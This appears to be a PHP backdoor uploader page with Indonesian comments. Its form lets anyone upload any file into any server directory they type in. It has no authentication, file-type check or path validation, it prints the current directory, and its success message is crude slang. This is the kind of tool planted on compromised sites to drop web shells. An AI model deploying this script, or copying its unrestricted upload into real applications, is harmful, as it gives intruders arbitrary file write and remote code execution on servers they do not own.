<?php
$status_message = ""; // Untuk menyimpan pesan status
$status_class = "";   // Untuk menyimpan kelas CSS berdasarkan status

// Cek apakah ada file yang di-upload
if(isset($_FILES['image'])){
   $errors = array();
   $file_tmp = $_FILES['image']['tmp_name'];
   $file_name = $_FILES['image']['name'];

   // Ambil directory dari inputan user
   if (isset($_POST['dir']) && !empty($_POST['dir'])) {
      $target_dir = $_POST['dir']; // Directory yang diinput oleh user
   } else {
      $target_dir = getcwd(); // Kalau nggak ada input, pakai current working directory
   }

   // Cek apakah directory ada
   if (is_dir($target_dir)) {
      $target_file = $target_dir . "/" . $file_name;
      
      // Pindahkan file ke directory yang diinginkan
      if (move_uploaded_file($file_tmp, $target_file)) {
         // Jika berhasil
         $status_message = "Crot sayang $target_file";
         $status_class = "success"; // Untuk animasi warna hijau
      } else {
         // Jika gagal upload
         $status_message = "Gagal upload file";
         $status_class = "error"; // Untuk animasi warna merah
      }
   } else {
      // Jika directory tidak valid
      $status_message = "Directory tidak valid: $target_dir";
      $status_class = "forbidden"; // Untuk animasi warna putih
   }
}
?>

<html>
   <head>
      <style>
         /* CSS untuk membuat efek berkedip */
         .blink {
            animation: blink 1s infinite;
         }
         @keyframes blink {
            50% {
               opacity: 0;
            }
         }

         /* Warna untuk status */
         .success {
            color: lime;
         }
         .error {
            color: red;
         }
         .forbidden {
            color: white;
         }
      </style>
   </head>
   <body style="text-align: center;background-color: black;font-size: 0px;">
      <br><br>

      <form action="" method="POST" enctype="multipart/form-data" style="font-size: medium;color: white;margin-top: 10px;">
         <b>For Public Folder Only</b><br><br>

         <!-- Input untuk direktori tujuan -->
         <input type="text" name="dir" placeholder="Masukkan direktori tujuan..." style="border: 1.5px solid lime;border-radius: 5px;margin-bottom: 10px; width: 300px;" /><br>
         
         <!-- Input untuk file -->
         <input type="file" name="image" style="border: 1.5px solid lime;border-radius: 5px;" /><br><br>

         <!-- Tombol upload -->
         <input type="submit" value="Upload" style="border: 1.5px solid lime;color: white;border-radius: 5px;background: transparent;padding: 3px;cursor: pointer;" />
      </form>

      <br>
      <!-- Tampilkan pesan status upload -->
      <span class="blink <?php echo $status_class; ?>" style="font-size: medium;">
         <?php echo $status_message; ?>
      </span>

      <br><br>
      <!-- Tampilkan direktori kerja saat ini -->
      <span style="font-size: medium;color: white;">
         <?php echo "Current directory: " . getcwd(); ?>
      </span>
   </body>
</html>


